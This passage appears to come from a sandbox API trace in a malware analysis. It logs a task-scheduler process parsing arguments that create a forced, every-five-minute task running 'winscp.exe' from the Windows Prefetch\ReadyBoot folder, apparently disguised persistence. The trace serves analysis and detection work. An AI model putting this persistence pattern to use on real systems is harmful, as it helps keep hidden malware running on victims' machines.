(lpString="|sc|") returned 4 [0078.792] SetLastError (dwErrCode=0x490) [0078.792] lstrlenW (lpString="create") returned 6 [0078.792] lstrlenW (lpString="create") returned 6 [0078.792] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.792] lstrlenW (lpString="sc") returned 2 [0078.792] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.792] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.792] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.792] lstrlenW (lpString="|create|") returned 8 [0078.792] lstrlenW (lpString="|sc|") returned 4 [0078.792] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0078.792] SetLastError (dwErrCode=0x490) [0078.792] lstrlenW (lpString="delete") returned 6 [0078.792] lstrlenW (lpString="delete") returned 6 [0078.792] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] lstrlenW (lpString="sc") returned 2 [0078.793] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|delete|") returned 8 [0078.793] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.793] lstrlenW (lpString="|delete|") returned 8 [0078.793] lstrlenW (lpString="|sc|") returned 4 [0078.793] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0078.793] SetLastError (dwErrCode=0x490) [0078.793] lstrlenW (lpString="query") returned 5 [0078.793] lstrlenW (lpString="query") returned 5 [0078.793] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] lstrlenW (lpString="sc") returned 2 [0078.793] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|query|") returned 7 [0078.793] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.793] lstrlenW (lpString="|query|") returned 7 [0078.793] lstrlenW (lpString="|sc|") returned 4 [0078.793] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0078.793] SetLastError (dwErrCode=0x490) [0078.793] lstrlenW (lpString="change") returned 6 [0078.793] lstrlenW (lpString="change") returned 6 [0078.793] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] lstrlenW (lpString="sc") returned 2 [0078.793] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.793] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|change|") returned 8 [0078.793] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.793] lstrlenW (lpString="|change|") returned 8 [0078.793] lstrlenW (lpString="|sc|") returned 4 [0078.793] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0078.793] SetLastError (dwErrCode=0x490) [0078.793] lstrlenW (lpString="run") returned 3 [0078.794] lstrlenW (lpString="run") returned 3 [0078.794] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] lstrlenW (lpString="sc") returned 2 [0078.794] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|run|") returned 5 [0078.794] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.794] lstrlenW (lpString="|run|") returned 5 [0078.794] lstrlenW (lpString="|sc|") returned 4 [0078.794] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0078.794] SetLastError (dwErrCode=0x490) [0078.794] lstrlenW (lpString="end") returned 3 [0078.794] lstrlenW (lpString="end") returned 3 [0078.794] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] lstrlenW (lpString="sc") returned 2 [0078.794] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|end|") returned 5 [0078.794] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.794] lstrlenW (lpString="|end|") returned 5 [0078.794] lstrlenW (lpString="|sc|") returned 4 [0078.794] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0078.794] SetLastError (dwErrCode=0x490) [0078.794] lstrlenW (lpString="showsid") returned 7 [0078.794] lstrlenW (lpString="showsid") returned 7 [0078.794] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] lstrlenW (lpString="sc") returned 2 [0078.794] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.794] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|showsid|") returned 9 [0078.794] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.794] lstrlenW (lpString="|showsid|") returned 9 [0078.794] lstrlenW (lpString="|sc|") returned 4 [0078.795] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="/sc") returned 3 [0078.795] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="/sc") returned 3 [0078.795] GetProcessHeap () returned 0x3f0000 [0078.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c390 [0078.795] GetProcessHeap () returned 0x3f0000 [0078.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd70 [0078.795] SetLastError (dwErrCode=0x0) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="MINUTE") returned 6 [0078.795] lstrlenW (lpString="-/") returned 2 [0078.795] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="MINUTE") returned 6 [0078.795] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0078.795] SetLastError (dwErrCode=0x490) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="MINUTE") returned 6 [0078.795] GetProcessHeap () returned 0x3f0000 [0078.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40c3b0 [0078.795] GetProcessHeap () returned 0x3f0000 [0078.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cda0 [0078.795] SetLastError (dwErrCode=0x0) [0078.795] SetLastError (dwErrCode=0x0) [0078.795] lstrlenW (lpString="/mo") returned 3 [0078.795] lstrlenW (lpString="-/") returned 2 [0078.795] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.796] lstrlenW (lpString="?") returned 1 [0078.796] lstrlenW (lpString="?") returned 1 [0078.796] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] lstrlenW (lpString="mo") returned 2 [0078.796] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.796] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.796] lstrlenW (lpString="|?|") returned 3 [0078.796] lstrlenW (lpString="|mo|") returned 4 [0078.796] SetLastError (dwErrCode=0x490) [0078.796] lstrlenW (lpString="create") returned 6 [0078.796] lstrlenW (lpString="create") returned 6 [0078.796] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] lstrlenW (lpString="mo") returned 2 [0078.796] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.796] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.796] lstrlenW (lpString="|create|") returned 8 [0078.796] lstrlenW (lpString="|mo|") returned 4 [0078.796] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0078.796] SetLastError (dwErrCode=0x490) [0078.796] lstrlenW (lpString="delete") returned 6 [0078.796] lstrlenW (lpString="delete") returned 6 [0078.796] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] lstrlenW (lpString="mo") returned 2 [0078.796] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.796] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|delete|") returned 8 [0078.796] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.796] lstrlenW (lpString="|delete|") returned 8 [0078.796] lstrlenW (lpString="|mo|") returned 4 [0078.797] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0078.797] SetLastError (dwErrCode=0x490) [0078.797] lstrlenW (lpString="query") returned 5 [0078.797] lstrlenW (lpString="query") returned 5 [0078.797] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] lstrlenW (lpString="mo") returned 2 [0078.797] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|query|") returned 7 [0078.797] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.797] lstrlenW (lpString="|query|") returned 7 [0078.797] lstrlenW (lpString="|mo|") returned 4 [0078.797] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0078.797] SetLastError (dwErrCode=0x490) [0078.797] lstrlenW (lpString="change") returned 6 [0078.797] lstrlenW (lpString="change") returned 6 [0078.797] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] lstrlenW (lpString="mo") returned 2 [0078.797] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|change|") returned 8 [0078.797] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.797] lstrlenW (lpString="|change|") returned 8 [0078.797] lstrlenW (lpString="|mo|") returned 4 [0078.797] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0078.797] SetLastError (dwErrCode=0x490) [0078.797] lstrlenW (lpString="run") returned 3 [0078.797] lstrlenW (lpString="run") returned 3 [0078.797] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] lstrlenW (lpString="mo") returned 2 [0078.797] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.797] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|run|") returned 5 [0078.797] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.798] lstrlenW (lpString="|run|") returned 5 [0078.798] lstrlenW (lpString="|mo|") returned 4 [0078.798] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0078.798] SetLastError (dwErrCode=0x490) [0078.798] lstrlenW (lpString="end") returned 3 [0078.798] lstrlenW (lpString="end") returned 3 [0078.798] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.798] lstrlenW (lpString="mo") returned 2 [0078.798] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.798] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|end|") returned 5 [0078.798] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.798] lstrlenW (lpString="|end|") returned 5 [0078.798] lstrlenW (lpString="|mo|") returned 4 [0078.798] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0078.798] SetLastError (dwErrCode=0x490) [0078.798] lstrlenW (lpString="showsid") returned 7 [0078.798] lstrlenW (lpString="showsid") returned 7 [0078.798] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.798] lstrlenW (lpString="mo") returned 2 [0078.798] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.798] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|showsid|") returned 9 [0078.798] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|mo|") returned 4 [0078.798] lstrlenW (lpString="|showsid|") returned 9 [0078.798] lstrlenW (lpString="|mo|") returned 4 [0078.798] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0078.798] SetLastError (dwErrCode=0x490) [0078.798] SetLastError (dwErrCode=0x490) [0078.798] SetLastError (dwErrCode=0x0) [0078.798] lstrlenW (lpString="/mo") returned 3 [0078.798] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0078.798] SetLastError (dwErrCode=0x490) [0078.798] SetLastError (dwErrCode=0x0) [0078.799] lstrlenW (lpString="/mo") returned 3 [0078.799] GetProcessHeap () returned 0x3f0000 [0078.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c3d0 [0078.799] GetProcessHeap () returned 0x3f0000 [0078.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cdd0 [0078.799] SetLastError (dwErrCode=0x0) [0078.799] SetLastError (dwErrCode=0x0) [0078.799] lstrlenW (lpString="5") returned 1 [0078.799] SetLastError (dwErrCode=0x490) [0078.799] SetLastError (dwErrCode=0x0) [0078.799] lstrlenW (lpString="5") returned 1 [0078.799] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0078.799] SetLastError (dwErrCode=0x490) [0078.799] SetLastError (dwErrCode=0x0) [0078.799] lstrlenW (lpString="5") returned 1 [0078.799] GetProcessHeap () returned 0x3f0000 [0078.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x4) returned 0x40c3f0 [0078.799] GetProcessHeap () returned 0x3f0000 [0078.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce00 [0078.799] SetLastError (dwErrCode=0x0) [0078.799] SetLastError (dwErrCode=0x0) [0078.799] lstrlenW (lpString="/tr") returned 3 [0078.799] lstrlenW (lpString="-/") returned 2 [0078.799] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.799] lstrlenW (lpString="?") returned 1 [0078.799] lstrlenW (lpString="?") returned 1 [0078.799] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.799] lstrlenW (lpString="tr") returned 2 [0078.799] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.799] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.799] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.799] lstrlenW (lpString="|?|") returned 3 [0078.799] lstrlenW (lpString="|tr|") returned 4 [0078.799] SetLastError (dwErrCode=0x490) [0078.799] lstrlenW (lpString="create") returned 6 [0078.800] lstrlenW (lpString="create") returned 6 [0078.800] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] lstrlenW (lpString="tr") returned 2 [0078.800] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.800] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.800] lstrlenW (lpString="|create|") returned 8 [0078.800] lstrlenW (lpString="|tr|") returned 4 [0078.800] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0078.800] SetLastError (dwErrCode=0x490) [0078.800] lstrlenW (lpString="delete") returned 6 [0078.800] lstrlenW (lpString="delete") returned 6 [0078.800] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] lstrlenW (lpString="tr") returned 2 [0078.800] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|delete|") returned 8 [0078.800] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.800] lstrlenW (lpString="|delete|") returned 8 [0078.800] lstrlenW (lpString="|tr|") returned 4 [0078.800] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0078.800] SetLastError (dwErrCode=0x490) [0078.800] lstrlenW (lpString="query") returned 5 [0078.800] lstrlenW (lpString="query") returned 5 [0078.800] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] lstrlenW (lpString="tr") returned 2 [0078.800] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.800] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|query|") returned 7 [0078.800] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.800] lstrlenW (lpString="|query|") returned 7 [0078.801] lstrlenW (lpString="|tr|") returned 4 [0078.801] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0078.801] SetLastError (dwErrCode=0x490) [0078.801] lstrlenW (lpString="change") returned 6 [0078.801] lstrlenW (lpString="change") returned 6 [0078.801] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] lstrlenW (lpString="tr") returned 2 [0078.801] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|change|") returned 8 [0078.801] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.801] lstrlenW (lpString="|change|") returned 8 [0078.801] lstrlenW (lpString="|tr|") returned 4 [0078.801] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0078.801] SetLastError (dwErrCode=0x490) [0078.801] lstrlenW (lpString="run") returned 3 [0078.801] lstrlenW (lpString="run") returned 3 [0078.801] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] lstrlenW (lpString="tr") returned 2 [0078.801] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|run|") returned 5 [0078.801] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.801] lstrlenW (lpString="|run|") returned 5 [0078.801] lstrlenW (lpString="|tr|") returned 4 [0078.801] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0078.801] SetLastError (dwErrCode=0x490) [0078.801] lstrlenW (lpString="end") returned 3 [0078.801] lstrlenW (lpString="end") returned 3 [0078.801] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] lstrlenW (lpString="tr") returned 2 [0078.801] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.801] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|end|") returned 5 [0078.802] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.802] lstrlenW (lpString="|end|") returned 5 [0078.802] lstrlenW (lpString="|tr|") returned 4 [0078.802] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0078.802] SetLastError (dwErrCode=0x490) [0078.802] lstrlenW (lpString="showsid") returned 7 [0078.802] lstrlenW (lpString="showsid") returned 7 [0078.802] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.802] lstrlenW (lpString="tr") returned 2 [0078.802] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.802] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|showsid|") returned 9 [0078.802] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tr|") returned 4 [0078.802] lstrlenW (lpString="|showsid|") returned 9 [0078.802] lstrlenW (lpString="|tr|") returned 4 [0078.802] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0078.802] SetLastError (dwErrCode=0x490) [0078.802] SetLastError (dwErrCode=0x490) [0078.802] SetLastError (dwErrCode=0x0) [0078.802] lstrlenW (lpString="/tr") returned 3 [0078.802] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0078.802] SetLastError (dwErrCode=0x490) [0078.802] SetLastError (dwErrCode=0x0) [0078.802] lstrlenW (lpString="/tr") returned 3 [0078.802] GetProcessHeap () returned 0x3f0000 [0078.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c410 [0078.802] GetProcessHeap () returned 0x3f0000 [0078.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce30 [0078.802] SetLastError (dwErrCode=0x0) [0078.802] SetLastError (dwErrCode=0x0) [0078.802] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.802] lstrlenW (lpString="-/") returned 2 [0078.802] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0078.803] SetLastError (dwErrCode=0x490) [0078.803] SetLastError (dwErrCode=0x490) [0078.803] SetLastError (dwErrCode=0x0) [0078.803] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.803] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0078.803] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.803] GetProcessHeap () returned 0x3f0000 [0078.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c430 [0078.803] _memicmp (_Buf1=0x40c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.803] GetProcessHeap () returned 0x3f0000 [0078.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40c450 [0078.803] GetProcessHeap () returned 0x3f0000 [0078.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40d600 [0078.803] _memicmp (_Buf1=0x40d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.803] GetProcessHeap () returned 0x3f0000 [0078.803] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x58) returned 0x40ddd0 [0078.803] SetLastError (dwErrCode=0x7a) [0078.803] SetLastError (dwErrCode=0x0) [0078.803] SetLastError (dwErrCode=0x0) [0078.803] lstrlenW (lpString="'C") returned 2 [0078.803] lstrlenW (lpString="-/") returned 2 [0078.803] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0078.803] SetLastError (dwErrCode=0x490) [0078.804] SetLastError (dwErrCode=0x490) [0078.804] SetLastError (dwErrCode=0x0) [0078.804] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0078.804] GetProcessHeap () returned 0x3f0000 [0078.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x56) returned 0x40de30 [0078.804] GetProcessHeap () returned 0x3f0000 [0078.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ce60 [0078.804] SetLastError (dwErrCode=0x0) [0078.804] SetLastError (dwErrCode=0x0) [0078.804] lstrlenW (lpString="/f") returned 2 [0078.804] lstrlenW (lpString="-/") returned 2 [0078.804] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.804] lstrlenW (lpString="?") returned 1 [0078.804] lstrlenW (lpString="?") returned 1 [0078.804] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.804] lstrlenW (lpString="f") returned 1 [0078.804] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.804] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.804] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.804] lstrlenW (lpString="|?|") returned 3 [0078.804] lstrlenW (lpString="|f|") returned 3 [0078.804] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0078.804] SetLastError (dwErrCode=0x490) [0078.804] lstrlenW (lpString="create") returned 6 [0078.804] lstrlenW (lpString="create") returned 6 [0078.804] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.804] lstrlenW (lpString="f") returned 1 [0078.804] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.804] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.804] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|f|") returned 3 [0078.805] lstrlenW (lpString="|create|") returned 8 [0078.805] lstrlenW (lpString="|f|") returned 3 [0078.805] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0078.805] SetLastError (dwErrCode=0x490) [0078.805] lstrlenW (lpString="delete") returned 6 [0078.805] lstrlenW (lpString="delete") returned 6 [0078.805] _memicmp 